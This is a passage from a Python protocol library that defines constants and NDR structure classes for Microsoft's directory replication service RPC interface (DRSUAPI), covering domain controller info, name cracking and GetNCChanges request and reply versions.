0x00000008\nDS_NAME_FLAG_PRIVATE_RESOLVE_FPOS = 0x80000000\n\nDS_LIST_SITES = 0xFFFFFFFF\nDS_LIST_SERVERS_IN_SITE = 0xFFFFFFFE\nDS_LIST_DOMAINS_IN_SITE = 0xFFFFFFFD\nDS_LIST_SERVERS_FOR_DOMAIN_IN_SITE = 0xFFFFFFFC\nDS_LIST_INFO_FOR_SERVER = 0xFFFFFFFB\nDS_LIST_ROLES = 0xFFFFFFFA\nDS_NT4_ACCOUNT_NAME_SANS_DOMAIN = 0xFFFFFFF9\nDS_MAP_SCHEMA_GUID = 0xFFFFFFF8\nDS_LIST_DOMAINS = 0xFFFFFFF7\nDS_LIST_NCS = 0xFFFFFFF6\nDS_ALT_SECURITY_IDENTITIES_NAME = 0xFFFFFFF5\nDS_STRING_SID_NAME = 0xFFFFFFF4\nDS_LIST_SERVERS_WITH_DCS_IN_SITE = 0xFFFFFFF3\nDS_LIST_GLOBAL_CATALOG_SERVERS = 0xFFFFFFF1\nDS_NT4_ACCOUNT_NAME_SANS_DOMAIN_EX = 0xFFFFFFF0\nDS_USER_PRINCIPAL_NAME_AND_ALTSECID = 0xFFFFFFEF\n\nDS_USER_PRINCIPAL_NAME_FOR_LOGON = 0xFFFFFFF2\n\n# 5.53 ENTINF\nENTINF_FROM_MASTER = 0x00000001\nENTINF_DYNAMIC_OBJECT = 0x00000002\nENTINF_REMOTE_MODIFY = 0x00010000\n\n# 4.1.27.1.2 DRS_MSG_VERIFYREQ_V1\nDRS_VERIFY_DSNAMES = 0x00000000\nDRS_VERIFY_SIDS = 0x00000001\nDRS_VERIFY_SAM_ACCOUNT_NAMES = 0x00000002\nDRS_VERIFY_FPOS = 0x00000003\n\n# 4.1.11.1.2 DRS_MSG_NT4_CHGLOG_REQ_V1\nDRS_NT4_CHGLOG_GET_CHANGE_LOG = 0x00000001\nDRS_NT4_CHGLOG_GET_SERIAL_NUMBERS = 0x00000002\n\n# 4.1.10.2.15 DRS_MSG_GETCHGREPLY_NATIVE_VERSION_NUMBER\nDRS_MSG_GETCHGREPLY_NATIVE_VERSION_NUMBER = 9\n################################################################################\n# STRUCTURES\n################################################################################\n# 4.1.10.2.16 ENCRYPTED_PAYLOAD\nclass ENCRYPTED_PAYLOAD(Structure):\n    structure = (\n        ('Salt','16s'),\n        ('CheckSum','<L'),\n        ('EncryptedData',':'),\n    )\n\n# 5.136 NT4SID\nclass NT4SID(NDRSTRUCT):\n    structure =  (\n        ('Data','28s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 4\n\n# 5.40 DRS_HANDLE\nclass DRS_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 4\n\nclass PDRS_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data',DRS_HANDLE),\n    )\n\n# 5.38 DRS_EXTENSIONS\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',BYTE_ARRAY),\n    )\n\nclass DRS_EXTENSIONS(NDRSTRUCT):\n    structure =  (\n        ('cb',DWORD),\n        ('rgb',BYTE_ARRAY),\n    )\n\nclass PDRS_EXTENSIONS(NDRPOINTER):\n    referent = (\n        ('Data',DRS_EXTENSIONS),\n    )\n\n# 5.39 DRS_EXTENSIONS_INT\nclass DRS_EXTENSIONS_INT(Structure):\n    structure =  (\n        ('dwFlags','<L=0'),\n        ('SiteObjGuid','16s=b\"\"'),\n        ('Pid','<L=0'),\n        ('dwReplEpoch','<L=0'),\n        ('dwFlagsExt','<L=0'),\n        ('ConfigObjGUID','16s=b\"\"'),\n        ('dwExtCaps','<L=0'),\n    )\n\n# 4.1.5.1.2 DRS_MSG_DCINFOREQ_V1\nclass DRS_MSG_DCINFOREQ_V1(NDRSTRUCT):\n    structure =  (\n        ('Domain',LPWSTR),\n        ('InfoLevel',DWORD),\n    )\n\n# 4.1.5.1.1 DRS_MSG_DCINFOREQ\nclass DRS_MSG_DCINFOREQ(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_DCINFOREQ_V1),\n    }\n\n# 4.1.5.1.8 DS_DOMAIN_CONTROLLER_INFO_1W\nclass DS_DOMAIN_CONTROLLER_INFO_1W(NDRSTRUCT):\n    structure =  (\n        ('NetbiosName',LPWSTR),\n        ('DnsHostName',LPWSTR),\n        ('SiteName',LPWSTR),\n        ('ComputerObjectName',LPWSTR),\n        ('ServerObjectName',LPWSTR),\n        ('fIsPdc',BOOL),\n        ('fDsEnabled',BOOL),\n    )\n\nclass DS_DOMAIN_CONTROLLER_INFO_1W_ARRAY(NDRUniConformantArray):\n    item = DS_DOMAIN_CONTROLLER_INFO_1W\n\nclass PDS_DOMAIN_CONTROLLER_INFO_1W_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',DS_DOMAIN_CONTROLLER_INFO_1W_ARRAY),\n    )\n\n# 4.1.5.1.4 DRS_MSG_DCINFOREPLY_V1\nclass DRS_MSG_DCINFOREPLY_V1(NDRSTRUCT):\n    structure =  (\n        ('cItems',DWORD),\n        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_1W_ARRAY),\n    )\n\n# 4.1.5.1.9 DS_DOMAIN_CONTROLLER_INFO_2W\nclass DS_DOMAIN_CONTROLLER_INFO_2W(NDRSTRUCT):\n    structure =  (\n        ('NetbiosName',LPWSTR),\n        ('DnsHostName',LPWSTR),\n        ('SiteName',LPWSTR),\n        ('SiteObjectName',LPWSTR),\n        ('ComputerObjectName',LPWSTR),\n        ('ServerObjectName',LPWSTR),\n        ('NtdsDsaObjectName',LPWSTR),\n        ('fIsPdc',BOOL),\n        ('fDsEnabled',BOOL),\n        ('fIsGc',BOOL),\n        ('SiteObjectGuid',GUID),\n        ('ComputerObjectGuid',GUID),\n        ('ServerObjectGuid',GUID),\n        ('NtdsDsaObjectGuid',GUID),\n    )\n\nclass DS_DOMAIN_CONTROLLER_INFO_2W_ARRAY(NDRUniConformantArray):\n    item = DS_DOMAIN_CONTROLLER_INFO_2W\n\nclass PDS_DOMAIN_CONTROLLER_INFO_2W_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',DS_DOMAIN_CONTROLLER_INFO_2W_ARRAY),\n    )\n\n# 4.1.5.1.5 DRS_MSG_DCINFOREPLY_V2\nclass DRS_MSG_DCINFOREPLY_V2(NDRSTRUCT):\n    structure =  (\n        ('cItems',DWORD),\n        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_2W_ARRAY),\n    )\n\n# 4.1.5.1.10 DS_DOMAIN_CONTROLLER_INFO_3W\nclass DS_DOMAIN_CONTROLLER_INFO_3W(NDRSTRUCT):\n    structure =  (\n        ('NetbiosName',LPWSTR),\n        ('DnsHostName',LPWSTR),\n        ('SiteName',LPWSTR),\n        ('SiteObjectName',LPWSTR),\n        ('ComputerObjectName',LPWSTR),\n        ('ServerObjectName',LPWSTR),\n        ('NtdsDsaObjectName',LPWSTR),\n        ('fIsPdc',BOOL),\n        ('fDsEnabled',BOOL),\n        ('fIsGc',BOOL),\n        ('fIsRodc',BOOL),\n        ('SiteObjectGuid',GUID),\n        ('ComputerObjectGuid',GUID),\n        ('ServerObjectGuid',GUID),\n        ('NtdsDsaObjectGuid',GUID),\n    )\n\nclass DS_DOMAIN_CONTROLLER_INFO_3W_ARRAY(NDRUniConformantArray):\n    item = DS_DOMAIN_CONTROLLER_INFO_3W\n\nclass PDS_DOMAIN_CONTROLLER_INFO_3W_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',DS_DOMAIN_CONTROLLER_INFO_3W_ARRAY),\n    )\n\n# 4.1.5.1.6 DRS_MSG_DCINFOREPLY_V3\nclass DRS_MSG_DCINFOREPLY_V3(NDRSTRUCT):\n    structure =  (\n        ('cItems',DWORD),\n        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_3W_ARRAY),\n    )\n\n# 4.1.5.1.11 DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW\nclass DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW(NDRSTRUCT):\n    structure =  (\n        ('IPAddress',DWORD),\n        ('NotificationCount',DWORD),\n        ('secTimeConnected',DWORD),\n        ('Flags',DWORD),\n        ('TotalRequests',DWORD),\n        ('Reserved1',DWORD),\n        ('UserName',LPWSTR),\n    )\n\nclass DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY(NDRUniConformantArray):\n    item = DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW\n\nclass PDS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY),\n    )\n\n# 4.1.5.1.7 DRS_MSG_DCINFOREPLY_VFFFFFFFF\nclass DRS_MSG_DCINFOREPLY_VFFFFFFFF(NDRSTRUCT):\n    structure =  (\n        ('cItems',DWORD),\n        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY),\n    )\n\n# 4.1.5.1.3 DRS_MSG_DCINFOREPLY\nclass DRS_MSG_DCINFOREPLY(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_DCINFOREPLY_V1),\n        2  : ('V2', DRS_MSG_DCINFOREPLY_V2),\n        3  : ('V3', DRS_MSG_DCINFOREPLY_V3),\n        0xffffffff  : ('V1', DRS_MSG_DCINFOREPLY_VFFFFFFFF),\n    }\n\n# 4.1.4.1.2 DRS_MSG_CRACKREQ_V1\nclass LPWSTR_ARRAY(NDRUniConformantArray):\n    item = LPWSTR\n\nclass PLPWSTR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',LPWSTR_ARRAY),\n    )\n\nclass DRS_MSG_CRACKREQ_V1(NDRSTRUCT):\n    structure =  (\n        ('CodePage',ULONG),\n        ('LocaleId',ULONG),\n        ('dwFlags',DWORD),\n        ('formatOffered',DWORD),\n        ('formatDesired',DWORD),\n        ('cNames',DWORD),\n        ('rpNames',PLPWSTR_ARRAY),\n    )\n\n# 4.1.4.1.1 DRS_MSG_CRACKREQ\nclass DRS_MSG_CRACKREQ(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_CRACKREQ_V1),\n    }\n\n# 4.1.4.1.3 DS_NAME_FORMAT\nclass DS_NAME_FORMAT(NDRENUM):\n    class enumItems(Enum):\n        DS_UNKNOWN_NAME            = 0\n        DS_FQDN_1779_NAME          = 1\n        DS_NT4_ACCOUNT_NAME        = 2\n        DS_DISPLAY_NAME            = 3\n        DS_UNIQUE_ID_NAME          = 6\n        DS_CANONICAL_NAME          = 7\n        DS_USER_PRINCIPAL_NAME     = 8\n        DS_CANONICAL_NAME_EX       = 9\n        DS_SERVICE_PRINCIPAL_NAME  = 10\n        DS_SID_OR_SID_HISTORY_NAME = 11\n        DS_DNS_DOMAIN_NAME         = 12\n\n# 4.1.4.1.4 DS_NAME_RESULT_ITEMW\nclass DS_NAME_RESULT_ITEMW(NDRSTRUCT):\n    structure =  (\n        ('status',DWORD),\n        ('pDomain',LPWSTR),\n        ('pName',LPWSTR),\n    )\n\nclass DS_NAME_RESULT_ITEMW_ARRAY(NDRUniConformantArray):\n    item = DS_NAME_RESULT_ITEMW\n\nclass PDS_NAME_RESULT_ITEMW_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',DS_NAME_RESULT_ITEMW_ARRAY),\n    )\n\n# 4.1.4.1.5 DS_NAME_RESULTW\nclass DS_NAME_RESULTW(NDRSTRUCT):\n    structure =  (\n        ('cItems',DWORD),\n        ('rItems',PDS_NAME_RESULT_ITEMW_ARRAY),\n    )\n\nclass PDS_NAME_RESULTW(NDRPOINTER):\n    referent = (\n        ('Data',DS_NAME_RESULTW),\n    )\n\n# 4.1.4.1.7 DRS_MSG_CRACKREPLY_V1\nclass DRS_MSG_CRACKREPLY_V1(NDRSTRUCT):\n    structure =  (\n        ('pResult',PDS_NAME_RESULTW),\n    )\n\n# 4.1.4.1.6 DRS_MSG_CRACKREPLY\nclass DRS_MSG_CRACKREPLY(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_CRACKREPLY_V1),\n    }\n\n# 5.198 UPTODATE_CURSOR_V1\nclass UPTODATE_CURSOR_V1(NDRSTRUCT):\n    structure =  (\n        ('uuidDsa',UUID),\n        ('usnHighPropUpdate',USN),\n    )\n\nclass UPTODATE_CURSOR_V1_ARRAY(NDRUniConformantArray):\n    item = UPTODATE_CURSOR_V1\n\n# 5.200 UPTODATE_VECTOR_V1_EXT\nclass UPTODATE_VECTOR_V1_EXT(NDRSTRUCT):\n    structure =  (\n        ('dwVersion',DWORD),\n        ('dwReserved1',DWORD),\n        ('cNumCursors',DWORD),\n        ('dwReserved2',DWORD),\n        ('rgCursors',UPTODATE_CURSOR_V1_ARRAY),\n    )\n\nclass PUPTODATE_VECTOR_V1_EXT(NDRPOINTER):\n    referent = (\n        ('Data',UPTODATE_VECTOR_V1_EXT),\n    )\n\n# 5.206 USN_VECTOR\nclass USN_VECTOR(NDRSTRUCT):\n    structure =  (\n        ('usnHighObjUpdate',USN),\n        ('usnReserved',USN),\n        ('usnHighPropUpdate',USN),\n    )\n\n# 5.50 DSNAME\nclass WCHAR_ARRAY(NDRUniConformantArray):\n    item  = 'H'\n\n    def __setitem__(self, key, value):\n        self.fields['MaximumCount'] = None\n        self.data = None        # force recompute\n        return NDRUniConformantArray.__setitem__(self, key, [ord(c) for c in value])\n\n    def __getitem__(self, key):\n        if key == 'Data':\n            try:\n                return ''.join([six.unichr(i) for i in self.fields[key]])\n            except ValueError as e:\n                LOG.debug(\"ValueError Exception\", exc_info=True)\n                LOG.error(str(e))\n        else:\n            return NDR.__getitem__(self,key)\n\nclass DSNAME(NDRSTRUCT):\n    structure =  (\n        ('structLen',ULONG),\n        ('SidLen',ULONG),\n        ('Guid',GUID),\n        ('Sid',NT4SID),\n        ('NameLen',ULONG),\n        ('StringName', WCHAR_ARRAY),\n    )\n    def getDataLen(self, data, offset=0):\n        return self['NameLen']\n    def getData(self, soFar = 0):\n        return NDRSTRUCT.getData(self, soFar)\n\nclass PDSNAME(NDRPOINTER):\n    referent = (\n        ('Data',DSNAME),\n    )\n\nclass PDSNAME_ARRAY(NDRUniConformantArray):\n    item = PDSNAME\n\nclass PPDSNAME_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',PDSNAME_ARRAY),\n    )\n\nclass ATTRTYP_ARRAY(NDRUniConformantArray):\n    item = ATTRTYP\n\n# 5.145 PARTIAL_ATTR_VECTOR_V1_EXT\nclass PARTIAL_ATTR_VECTOR_V1_EXT(NDRSTRUCT):\n    structure =  (\n        ('dwVersion',DWORD),\n        ('dwReserved1',DWORD),\n        ('cAttrs',DWORD),\n        ('rgPartialAttr',ATTRTYP_ARRAY),\n    )\n\nclass PPARTIAL_ATTR_VECTOR_V1_EXT(NDRPOINTER):\n    referent = (\n        ('Data',PARTIAL_ATTR_VECTOR_V1_EXT),\n    )\n\n# 5.142 OID_t\nclass OID_t(NDRSTRUCT):\n    structure =  (\n        ('length',ULONG),\n        ('elements',PBYTE_ARRAY),\n    )\n\n# 5.153 PrefixTableEntry\nclass PrefixTableEntry(NDRSTRUCT):\n    structure =  (\n        ('ndx',ULONG),\n        ('prefix',OID_t),\n    )\n\nclass PrefixTableEntry_ARRAY(NDRUniConformantArray):\n    item = PrefixTableEntry\n\nclass PPrefixTableEntry_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',PrefixTableEntry_ARRAY),\n    )\n\n# 5.177 SCHEMA_PREFIX_TABLE\nclass SCHEMA_PREFIX_TABLE(NDRSTRUCT):\n    structure =  (\n        ('PrefixCount',DWORD),\n        ('pPrefixEntry',PPrefixTableEntry_ARRAY),\n    )\n\n# 4.1.10.2.2 DRS_MSG_GETCHGREQ_V3\nclass DRS_MSG_GETCHGREQ_V3(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjDest',UUID),\n        ('uuidInvocIdSrc',UUID),\n        ('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('pUpToDateVecDestV1',PUPTODATE_VECTOR_V1_EXT),\n        ('pPartialAttrVecDestV1',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),\n        ('ulFlags',ULONG),\n        ('cMaxObjects',ULONG),\n        ('cMaxBytes',ULONG),\n        ('ulExtendedOp',ULONG),\n    )\n\n# 5.131 MTX_ADDR\nclass MTX_ADDR(NDRSTRUCT):\n    structure =  (\n        ('mtx_namelen',ULONG),\n        ('mtx_name',PBYTE_ARRAY),\n    )\n\nclass PMTX_ADDR(NDRPOINTER):\n    referent = (\n        ('Data',MTX_ADDR),\n    )\n\n# 4.1.10.2.3 DRS_MSG_GETCHGREQ_V4\nclass DRS_MSG_GETCHGREQ_V4(NDRSTRUCT):\n    structure =  (\n        ('uuidTransportObj',UUID),\n        ('pmtxReturnAddress',PMTX_ADDR),\n        ('V3',DRS_MSG_GETCHGREQ_V3),\n    )\n\n# 4.1.10.2.4 DRS_MSG_GETCHGREQ_V5\nclass DRS_MSG_GETCHGREQ_V5(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjDest',UUID),\n        ('uuidInvocIdSrc',UUID),\n        ('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('pUpToDateVecDestV1',PUPTODATE_VECTOR_V1_EXT),\n        ('ulFlags',ULONG),\n        ('cMaxObjects',ULONG),\n        ('cMaxBytes',ULONG),\n        ('ulExtendedOp',ULONG),\n        ('liFsmoInfo',ULARGE_INTEGER),\n    )\n\n# 4.1.10.2.5 DRS_MSG_GETCHGREQ_V7\nclass DRS_MSG_GETCHGREQ_V7(NDRSTRUCT):\n    structure =  (\n        ('uuidTransportObj',UUID),\n        ('pmtxReturnAddress',PMTX_ADDR),\n        ('V3',DRS_MSG_GETCHGREQ_V3),\n        ('pPartialAttrSet',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('pPartialAttrSetEx1',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),\n    )\n\n# 4.1.10.2.6 DRS_MSG_GETCHGREQ_V8\nclass DRS_MSG_GETCHGREQ_V8(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjDest',UUID),\n        ('uuidInvocIdSrc',UUID),\n        ('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('pUpToDateVecDest',PUPTODATE_VECTOR_V1_EXT),\n        ('ulFlags',ULONG),\n        ('cMaxObjects',ULONG),\n        ('cMaxBytes',ULONG),\n        ('ulExtendedOp',ULONG),\n        ('liFsmoInfo',ULARGE_INTEGER),\n        ('pPartialAttrSet',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('pPartialAttrSetEx1',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),\n    )\n\n# 4.1.10.2.7 DRS_MSG_GETCHGREQ_V10\nclass DRS_MSG_GETCHGREQ_V10(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjDest',UUID),\n        ('uuidInvocIdSrc',UUID),\n        ('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('pUpToDateVecDest',PUPTODATE_VECTOR_V1_EXT),\n        ('ulFlags',ULONG),\n        ('cMaxObjects',ULONG),\n        ('cMaxBytes',ULONG),\n        ('ulExtendedOp',ULONG),\n        ('liFsmoInfo',ULARGE_INTEGER),\n        ('pPartialAttrSet',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('pPartialAttrSetEx1',PPARTIAL_ATTR_VECTOR_V1_EXT),\n        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),\n        ('ulMoreFlags',ULONG),\n    )\n\n# 4.1.10.2.1 DRS_MSG_GETCHGREQ\nclass DRS_MSG_GETCHGREQ(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        4  : ('V4', DRS_MSG_GETCHGREQ_V4),\n        5  : ('V5', DRS_MSG_GETCHGREQ_V5),\n        7  : ('V7', DRS_MSG_GETCHGREQ_V7),\n        8  : ('V8', DRS_MSG_GETCHGREQ_V8),\n        10 : ('V10', DRS_MSG_GETCHGREQ_V10),\n    }\n\n# 5.16 ATTRVAL\nclass ATTRVAL(NDRSTRUCT):\n    structure =  (\n        ('valLen',ULONG),\n        ('pVal',PBYTE_ARRAY),\n    )\n\nclass ATTRVAL_ARRAY(NDRUniConformantArray):\n    item = ATTRVAL\n\nclass PATTRVAL_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',ATTRVAL_ARRAY),\n    )\n\n# 5.17 ATTRVALBLOCK\nclass ATTRVALBLOCK(NDRSTRUCT):\n    structure =  (\n        ('valCount',ULONG),\n        ('pAVal',PATTRVAL_ARRAY),\n    )\n\n# 5.9 ATTR\nclass ATTR(NDRSTRUCT):\n    structure =  (\n        ('attrTyp',ATTRTYP),\n        ('AttrVal',ATTRVALBLOCK),\n    )\n\nclass ATTR_ARRAY(NDRUniConformantArray):\n    item = ATTR\n\nclass PATTR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',ATTR_ARRAY),\n    )\n\n# 5.10 ATTRBLOCK\nclass ATTRBLOCK(NDRSTRUCT):\n    structure =  (\n        ('attrCount',ULONG),\n        ('pAttr',PATTR_ARRAY),\n    )\n\n# 5.53 ENTINF\nclass ENTINF(NDRSTRUCT):\n    structure =  (\n        ('pName',PDSNAME),\n        ('ulFlags',ULONG),\n        ('AttrBlock',ATTRBLOCK),\n    )\n\nclass ENTINF_ARRAY(NDRUniConformantArray):\n    item = ENTINF\n\nclass PENTINF_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data',ENTINF_ARRAY),\n    )\n\n# 5.154 PROPERTY_META_DATA_EXT\nclass PROPERTY_META_DATA_EXT(NDRSTRUCT):\n    structure =  (\n        ('dwVersion',DWORD),\n        ('timeChanged',DSTIME),\n        ('uuidDsaOriginating',UUID),\n        ('usnOriginating',USN),\n    )\n\nclass PROPERTY_META_DATA_EXT_ARRAY(NDRUniConformantArray):\n    item = PROPERTY_META_DATA_EXT\n\n# 5.155 PROPERTY_META_DATA_EXT_VECTOR\nclass PROPERTY_META_DATA_EXT_VECTOR(NDRSTRUCT):\n    structure =  (\n        ('cNumProps',DWORD),\n        ('rgMetaData',PROPERTY_META_DATA_EXT_ARRAY),\n    )\n\nclass PPROPERTY_META_DATA_EXT_VECTOR(NDRPOINTER):\n    referent = (\n        ('Data',PROPERTY_META_DATA_EXT_VECTOR),\n    )\n\n# 5.161 REPLENTINFLIST\n\nclass REPLENTINFLIST(NDRSTRUCT):\n    structure =  (\n        ('pNextEntInf',NDRPOINTER),\n        ('Entinf',ENTINF),\n        ('fIsNCPrefix',BOOL),\n        ('pParentGuidm',PUUID),\n        ('pMetaDataExt',PPROPERTY_META_DATA_EXT_VECTOR),\n    )\n    # ToDo: Here we should work with getData and fromString because we're cheating with pNextEntInf\n    def fromString(self, data, soFar = 0 ):\n        # Here we're changing the struct so we can represent a linked list with NDR\n        self.fields['pNextEntInf'] = PREPLENTINFLIST(isNDR64 = self._isNDR64)\n        retVal = NDRSTRUCT.fromString(self, data, soFar)\n        return retVal\n\nclass PREPLENTINFLIST(NDRPOINTER):\n    referent = (\n        ('Data',REPLENTINFLIST),\n    )\n\n# 4.1.10.2.9 DRS_MSG_GETCHGREPLY_V1\nclass DRS_MSG_GETCHGREPLY_V1(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjSrc',UUID),\n        ('uuidInvocIdSrc',UUID),\n        ('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('usnvecTo',USN_VECTOR),\n        ('pUpToDateVecSrcV1',PUPTODATE_VECTOR_V1_EXT),\n        ('PrefixTableSrc',SCHEMA_PREFIX_TABLE),\n        ('ulExtendedRet',EXOP_ERR),\n        ('cNumObjects',ULONG),\n        ('cNumBytes',ULONG),\n        ('pObjects',PREPLENTINFLIST),\n        ('fMoreData',BOOL),\n    )\n\n# 4.1.10.2.15 DRS_COMPRESSED_BLOB\nclass DRS_COMPRESSED_BLOB(NDRSTRUCT):\n    structure =  (\n        ('cbUncompressedSize',DWORD),\n        ('cbCompressedSize',DWORD),\n        ('pbCompressedData',BYTE_ARRAY),\n    )\n\n# 4.1.10.2.10 DRS_MSG_GETCHGREPLY_V2\nclass DRS_MSG_GETCHGREPLY_V2(NDRSTRUCT):\n    structure =  (\n        ('CompressedV1',DRS_COMPRESSED_BLOB),\n    )\n\n# 5.199 UPTODATE_CURSOR_V2\nclass UPTODATE_CURSOR_V2(NDRSTRUCT):\n    structure =  (\n        ('uuidDsa',UUID),\n        ('usnHighPropUpdate',USN),\n        ('timeLastSyncSuccess',DSTIME),\n    )\n\nclass UPTODATE_CURSOR_V2_ARRAY(NDRUniConformantArray):\n    item = UPTODATE_CURSOR_V2\n\n# 5.201 UPTODATE_VECTOR_V2_EXT\nclass UPTODATE_VECTOR_V2_EXT(NDRSTRUCT):\n    structure =  (\n        ('dwVersion',DWORD),\n        ('dwReserved1',DWORD),\n        ('cNumCursors',DWORD),\n        ('dwReserved2',DWORD),\n        ('rgCursors',UPTODATE_CURSOR_V2_ARRAY),\n    )\n\nclass PUPTODATE_VECTOR_V2_EXT(NDRPOINTER):\n    referent = (\n        ('Data',UPTODATE_VECTOR_V2_EXT),\n    )\n\n# 5.211 VALUE_META_DATA_EXT_V1\nclass VALUE_META_DATA_EXT_V1(NDRSTRUCT):\n    structure =  (\n        ('timeCreated',DSTIME),\n        ('MetaData',PROPERTY_META_DATA_EXT),\n    )\n\n# 5.215 VALUE_META_DATA_EXT_V3\nclass VALUE_META_DATA_EXT_V3(NDRSTRUCT):\n    structure =  (\n        ('timeCreated',DSTIME),\n        ('MetaData',PROPERTY_META_DATA_EXT),\n        ('unused1',DWORD),\n        ('unused1',DWORD),\n        ('unused1',DWORD),\n        ('timeExpired',DSTIME),\n    )\n\n# 5.167 REPLVALINF_V1\nclass REPLVALINF_V1(NDRSTRUCT):\n    structure =  (\n        ('pObject',PDSNAME),\n        ('attrTyp',ATTRTYP),\n        ('Aval',ATTRVAL),\n        ('fIsPresent',BOOL),\n        ('MetaData',VALUE_META_DATA_EXT_V1),\n    )\n\n    def fromString(self, data, soFar = 0):\n        retVal = NDRSTRUCT.fromString(self, data, soFar)\n        #self.dumpRaw()\n        return retVal\n\nclass REPLVALINF_V1_ARRAY(NDRUniConformantArray):\n    item = REPLVALINF_V1\n\nclass PREPLVALINF_V1_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', REPLVALINF_V1_ARRAY),\n    )\n\n# 5.168 REPLVALINF_V3\nclass REPLVALINF_V3(NDRSTRUCT):\n    structure = (\n        ('pObject', PDSNAME),\n        ('attrTyp', ATTRTYP),\n        ('Aval', ATTRVAL),\n        ('fIsPresent', BOOL),\n        ('MetaData', VALUE_META_DATA_EXT_V3),\n    )\n\n    def fromString(self, data, soFar=0):\n        retVal = NDRSTRUCT.fromString(self, data, soFar)\n        # self.dumpRaw()\n        return retVal\n\nclass REPLVALINF_V3_ARRAY(NDRUniConformantArray):\n    item = REPLVALINF_V3\n\nclass PREPLVALINF_V3_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', REPLVALINF_V3_ARRAY),\n    )\n\n# 5.169 REPLVALINF_NATIVE\nREPLVALINF_NATIVE = REPLVALINF_V3\n\n# 4.1.10.2.11 DRS_MSG_GETCHGREPLY_V6\nclass DRS_MSG_GETCHGREPLY_V6(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjSrc',UUID),\n        ('uuidInvocIdSrc',UUID),\n        ('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('usnvecTo',USN_VECTOR),\n        ('pUpToDateVecSrc',PUPTODATE_VECTOR_V2_EXT),\n        ('PrefixTableSrc',SCHEMA_PREFIX_TABLE),\n        ('ulExtendedRet',EXOP_ERR),\n        ('cNumObjects',ULONG),\n        ('cNumBytes',ULONG),\n        ('pObjects',PREPLENTINFLIST),\n        ('fMoreData',BOOL),\n        ('cNumNcSizeObjectsc',ULONG),\n        ('cNumNcSizeValues',ULONG),\n        ('cNumValues',DWORD),\n        #('rgValues',PREPLVALINF_V1_ARRAY),\n        # ToDo: Once we find out what's going on with PREPLVALINF_ARRAY get it back\n        # Seems there's something in there that is not being parsed correctly\n        ('rgValues',DWORD),\n        ('dwDRSError',DWORD),\n    )\n\n# 4.1.10.2.14 DRS_COMP_ALG_TYPE\nclass DRS_COMP_ALG_TYPE(NDRENUM):\n    class enumItems(Enum):\n        DRS_COMP_ALG_NONE   = 0\n        DRS_COMP_ALG_UNUSED = 1\n        DRS_COMP_ALG_MSZIP  = 2\n        DRS_COMP_ALG_WIN2K3 = 3\n\n# 4.1.10.2.12 DRS_MSG_GETCHGREPLY_V7\nclass DRS_MSG_GETCHGREPLY_V7(NDRSTRUCT):\n    structure =  (\n        ('dwCompressedVersion',DWORD),\n        ('CompressionAlg',DRS_COMP_ALG_TYPE),\n        ('CompressedAny',DRS_COMPRESSED_BLOB),\n    )\n\n# 4.1.10.2.13 DRS_MSG_GETCHGREPLY_V9\nclass DRS_MSG_GETCHGREPLY_V9(NDRSTRUCT):\n    structure =  (\n        ('uuidDsaObjSrc',UUID),\n        ('uuidInvocIdSrc',UUID),\n        